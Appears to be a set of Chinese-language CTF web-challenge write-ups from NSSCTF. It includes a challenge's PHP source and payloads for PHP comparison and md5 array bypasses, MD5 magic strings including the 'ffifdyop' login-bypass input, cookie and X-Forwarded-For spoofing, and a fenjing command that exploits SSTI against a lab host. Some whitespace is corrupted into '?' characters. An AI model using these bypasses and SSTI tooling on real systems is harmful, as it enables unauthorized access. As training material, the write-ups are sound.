题目源码
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
?分析:
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
????$b=$_POST['ctf'];
????$a=$_POST['gdou'];
????if($_POST['gdou']!=$_POST['ctf']?&&?md5($a)===md5($b)){
post方式传参,参数为ctf和gdou,要求ctf和gdou传入值的md5值相等,这里选择用数组绕过
payload:ctf[]=1&gdou[]=2
?if?($_COOKIE['cookie']=='j0k3r'){
?要求cookie传参的值为cookie=j0k3r
payload:cookie=j0k3r
?
if(isset($_GET['aaa'])?&&?isset($_GET['bbb'])){
??????????????????$aaa=$_GET['aaa'];
??????????????????$bbb=$_GET['bbb'];
?????????????????if($aaa==114514?&&?$bbb==114514?&&?$aaa!=$bbb){
?get方式传参,传参参数为aaa和bbb,给定了相同的数值,但要求二者的值不相等,这里进行绕过,在任意一个114514后加一个字母
payload:aaa=114514&bbb=114514a
?
if(isset($_GET['flag'])?&&?isset($_POST['flag'])){
?????????????????????????die($give);
????????????????????}
???????????????????if($_POST['flag']?===?'flag'?||?$_GET['flag']?===?'flag'){
?这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag
?payload:123=flag&flag=123
?最后合并所有传参情况,得到最后的payload
GET:?aaa=114514&bbb=114514a&123=flag&flag=123
post:gdou[]=1&ctf[]=2
cookie=j0k3r
最后得到flag
?NSSCTF{feffc26a-eb63-4f56-a9f5-a2d5d52b1332}
进入环境
?尝试了许多数都没有什么反应,查看源码也没有什么有用的信息
用bp抓包看一下,也没有什么有用的信息
?dirsearch扫
扫了之后发现flag.php,但是访问没有反应
强比较:使用三个 ''==='' 比较,比较值,也比较类型
弱比较:使用两个 ''=='' 比较,只比较值,不比较类型
??? a==b?? 将a,b的值转换成同类型再比较值
??? a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false
??? 数组绕过,0e绕过
??? QNKCDZO 240610708 常用
??? md5($a)==md5(md5($a))
??? 0e215962017
??? MD5加密登录万能通用
??? ffifdyop
?运用ffifdyop
?看源码
?传参,MD5值相等,选择数组绕过
?x[]=1&y[]=2
?传入后Url多出一个后台,访问一下得到
?post传参选则数组绕过
wqh[]=1&dsy[]=2
?得到flag
一来就要post传参,查看源码也没有什么有用信息
?虽然不知带参数,但是题目上的信息可以用来尝试,显示不是用户
want=flag
?Cookies 是一种存储在用户计算机或手机浏览器中的小文件,它能够存储一些关于网站用户的信息。当用户在访问该网站时,该网站可以通过读取 Cookies 中的信息,实现一些个性化的功能,例如自动登录、记忆用户的设置和偏好、购物车中的商品等等。同时,Cookies 还可以用于网站数据跟踪和分析,帮助网站拼凑和分析用户行为以及提供更好的服务。
Cookies:user=admin
?结果,提示没有位置即没有ip,那就弄一个代理得到flag
X-Forwarded-For头部的作用是记录用户的真实IP地址和代理服务器的IP地址。当用户通过代理服务器访问网站时,服务器只能获取到代理服务器的IP地址,而无法获取到用户的真实IP地址。通过使用X-Forwarded-For头部,代理服务器可以将用户的真实IP地址添加到HTTP请求的头部中,从而让服务器能够获取到用户的真实IP地址。
进入环境直接查看源码就会发现flag的base64编码
?直接解码的flag
NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}
?题目提示HTTP请求
?不是VIP
?
?直接抓包改VIP直接就得到flag
NSSCTF{73c2c723-e393-4491-b43a-659c25a1f7f6}
进入直接测试是否存在ssti注入问题
?结果是存在的
直接上fenjing一把梭哈
python3 -m fenjing crack-path -u 'http://node4.anna.nssctf.cn:28042/'
?
直接拿flag
NSSCTF{1da5950e-5a6b-4188-8882-ce67a6b43351}
?